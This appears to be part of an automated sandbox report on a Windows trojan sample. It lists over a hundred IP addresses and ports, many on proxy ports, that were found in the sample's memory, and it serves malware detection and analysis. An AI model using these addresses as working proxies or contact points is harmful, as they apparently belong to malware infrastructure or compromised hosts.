Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C928E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.119.144.60:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C928E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.119.144.60:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.119.147.209:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.119.147.209:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAF84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.207.235.213:1221
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.207.235.213:1221://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C92B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.48.78.52
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.48.78.52://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://74.48.78.52:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.154:17621
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.154:17621://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EE2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.154:21072
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.154:21072://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:10293
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:10293://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:14166
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:14166://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:21039
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:21039://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:25323
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:25323://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:28040
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:28040://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:48057
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://75.119.145.169:48057://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.105.136.28:1995
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.105.136.28:1995://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.233.5.68:55443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.233.5.68:55443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.235.19.2:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.235.19.2:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.238.79.111:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.238.79.111:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA740000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.238.79.111:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA76C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.238.79.111:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.247.120.3:18080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.247.120.3:18080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF67000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.130.80:3127
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.130.80:3127://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.155.85:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.37.155.85:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.46.138.233:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.46.138.233:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.46.138.37:33608
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.46.138.37:33608://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.46.138.49:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.46.138.49:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.23.181:38817
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.23.181:38817://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.244.78
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.244.78://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.48.244.78:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.52.187.199:10000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.52.187.199:10000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.68.111.73:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.68.111.73:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.72.32.15:59605
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.72.32.15:59605://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.77.64.120:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.77.64.120:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.89.196.202:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.89.196.202:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.91.74.77
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7823000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.91.74.77://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.91.74.77:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78F4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.92.245.34:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.92.245.34:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.128.81.220:31623
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.128.81.220:31623://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.128.81.220:44286
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.128.81.220:44286://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.140.7.239:40009
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.140.7.239:40009://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAF30000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAF7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.188.81.57:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAF5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.188.81.57:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.189.191.184:48425
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.189.191.184:48425://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.28.152.111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.28.152.111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.28.152.111:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.28.152.113
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.28.152.113://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.28.152.113:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83FC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.37.40.1:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.37.40.1:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.38.108.195:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.38.108.195:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.38.93.22:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.38.93.22:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.38.93.2:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.38.93.2:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.47.103.89:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.47.103.89:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.47.35.35:3312
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.47.35.35:3312://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.47.96.120:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://78.47.96.120:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.10.114.97
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.10.114.97://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.10.114.97:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.101.37.78:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.101.37.78:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.101.45.94:56921
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.101.45.94:56921://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.106.170.34:8989
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.106.170.34:8989://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.196.145:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.196.145:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.197.144:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.197.144:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.201.235:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.201.235:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.202.131:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.202.131:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.52.252:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.110.52.252:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77F5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.121.31.86:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.121.31.86:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.122.230.20:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.122.230.20:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.124.77.148:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.124.77.148:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.132.192.13:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.132.192.13:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.203.245:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.203.245:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:10645
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:10645://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://79.137.204.161:11066
